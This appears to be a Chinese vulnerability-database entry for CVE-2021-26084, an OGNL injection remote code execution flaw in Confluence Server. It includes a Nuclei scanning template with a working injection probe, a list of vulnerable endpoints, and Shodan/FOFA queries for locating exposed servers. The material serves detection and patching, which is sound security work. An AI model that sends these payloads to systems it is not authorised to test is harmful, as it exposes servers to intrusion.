Confluence Server - Remote Code Execution

漏洞信息

漏洞名称： Confluence Server - Remote Code Execution

漏洞编号：

• CVE： CVE-2021-26084

漏洞类型： 代码注入

漏洞等级： 严重

漏洞描述： Atlassian Confluence Server和Data Center是一款广泛使用的企业级Wiki和团队协作软件，支持文档共享、项目管理等功能，常见于企业内部知识管理和团队协作场景。该软件因其强大的功能和易用性，在全球范围内拥有大量用户。

该漏洞属于OGNL注入类型，攻击者可以通过构造特定的请求，利用Confluence Server和Data Center中的OGNL注入漏洞执行任意代码。漏洞的根源在于对用户输入的不当处理，导致攻击者可以注入并执行恶意OGNL表达式。在特定配置下，即使是未认证的用户也可能利用此漏洞。

成功利用此漏洞的攻击者可以在受影响的服务器上执行任意代码，可能导致服务器被完全控制、敏感数据泄露或服务中断。由于该漏洞的利用门槛相对较低，且影响范围广泛，被评定为严重级别。企业应立即检查并升级到不受影响的版本，以防范潜在的安全风险。

产品厂商： Atlassian

产品名称： Confluence Server and Data Center

影响版本： before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5

搜索语法： app=”atlassian-confluence”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fcves%2F2021%2FCVE-2021-26084.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2021-26084

info:
  name: Confluence Server - Remote Code Execution
  author: dhiyaneshDk,philippedelteil
  severity: critical
  description: Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from  version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-67940
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26084
    - https://github.com/Udyz/CVE-2021-26084
    - https://github.com/0xsyr0/OSCP
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26084
    cwe-id: CWE-917
    epss-score: 0.94417
    epss-percentile: 0.99978
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 14
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "confluence"
          - "atlassian"
        condition: or
        internal: true

  - raw:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb

    payloads:
      path:
        - pages/createpage-entervariables.action?SpaceKey=x
        - pages/createpage-entervariables.action
        - confluence/pages/createpage-entervariables.action?SpaceKey=x
        - confluence/pages/createpage-entervariables.action
        - wiki/pages/createpage-entervariables.action?SpaceKey=x
        - wiki/pages/createpage-entervariables.action
        - pages/doenterpagevariables.action
        - pages/createpage.action?spaceKey=myproj
        - pages/templates2/viewpagetemplate.action
        - pages/createpage-entervariables.action
        - template/custom/content-editor
        - templates/editor-preload-container
        - users/user-dark-features

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="aaaa{140592=null}'

      - type: status
        status:
          - 200
# digest: 490a00463044022078f74d83a0cbb9d38d3ea1d304c2cde8d6c04b2846c3571268b2e5fcb85c70d00220231df6ebc81e468b8613cb12f7fbc517ce952b80cacf087dc2b38e42117f8520:922c64590222798bb761d5b6d8e72950